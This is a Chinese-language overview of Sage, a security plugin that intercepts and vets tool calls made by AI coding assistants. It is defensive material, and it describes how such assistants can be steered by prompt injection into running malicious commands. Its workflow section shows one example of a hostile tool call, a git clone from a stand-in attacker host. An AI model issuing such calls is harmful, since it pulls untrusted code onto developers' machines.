gendigitalinc/sage

Sage – AI 编码助手的安全层

是什么 – Sage 是一个轻量级安全插件，位于 AI 驱动的编码助手（Claude Code、Cursor、VS Code、OpenClaw、OpenCode 等）与主机系统之间。每当助手尝试执行工具调用（例如 shell 命令、下载 URL、写入文件或安装包）时，Sage 会拦截该请求，执行一系列威胁检查，仅在判定为安全时才允许操作继续。

为何重要 – 基于大语言模型（LLM）的编码工具可能被诱骗执行恶意命令或获取有害载荷（如提示注入攻击、供应链攻击等）。Sage 添加了一道防御性“防火墙”，在无需修改底层 AI 模型的情况下保护开发者的机器。

---

核心功能

功能	作用
URL 声誉	查询云服务，提前标记已知的恶意、钓鱼或诈骗链接，防止其被获取。
本地启发式规则	超过 300 个 YAML 定义的模式，可检测危险的 shell 命令、可疑 URL、凭证泄露和代码混淆。
提示注入检测	两阶段防护机制——快速启发式规则 + 经微调的机器学习模型——可识别获取内容中的注入指令。
包供应链检查	查询 npm / PyPI 包，验证其是否存在，评估其声誉和年龄，以发现拼写错误劫持或废弃库。
插件扫描	在每次 AI 助手会话开始时，Sage 会扫描已安装的插件，查找已知威胁。
AMSI 集成	在 Windows（及 WSL）上，Sage 将命令转发至 Antimalware Scan Interface，让操作系统实时扫描器拦截恶意软件。

如何获取

1. 阅读在线安装指南 – https://ai.gendigital.com/sage（保持步骤最新）。
2. 选择你的 AI 助手，并按照 README 中显示的简短命令操作：
   • Claude Code – 添加仓库为插件，并安装 sage@sage。
   • Cursor – 从 Cursor 市场安装 Gen Sage 扩展。
   • VS Code – 从 VS Code 市场安装 Gen Sage 扩展。
   • OpenClaw – openclaw plugins install @gendigital/sage-openclaw。
   • OpenCode – 将 @gendigital/sage-opencode 添加到 opencode.json 配置文件中。
3. 安装后，Sage 会自动运行，并将决策记录到磁盘上的 JSONL 审计文件中。

典型工作流程

1. 开发者向 AI 助手输入提示。
2. 助手生成工具调用（例如：git clone https://evil.example.com/repo.git）。
3. Sage 拦截调用并：
   • 对 URL 进行云声誉服务检查。
   • 运行本地 YAML 启发式规则。
   • （如需）将内容输入提示注入 ML 模型。
   • 对涉及的包进行供应链检查。
   • 在 Windows 上通过 AMSI 转发命令。
4. 若任一检查标记威胁，Sage 将阻止操作并记录事件；否则允许命令执行。

适合谁使用

• 依赖 LLM 驱动代码助手，希望避免意外执行恶意软件的 开发者。
• 寻找即插即用防护方案，可在多个 AI IDE 扩展中使用的 安全团队。
• 自动化代码生成，需要在任何生成脚本运行前强制执行策略的 运维 / DevOps。

可扩展性与贡献

• 威胁模式以简单 YAML 文件形式存于 threats/ 目录中——贡献者可通过拉取请求添加新规则。
• 仓库包含 开发者指南，描述架构、测试框架，以及如何训练或更新提示注入 ML 模型。
• 所有代码采用 Apache-2.0 许可；规则集另有 Detection Rule License 1.1。

---

总结 – Sage 提供了一个专注、跨助手的安全层，通过结合云声誉、本地启发式、基于 ML 的提示注入检测和操作系统级扫描，捕捉 AI 编码助手生成的恶意工具调用。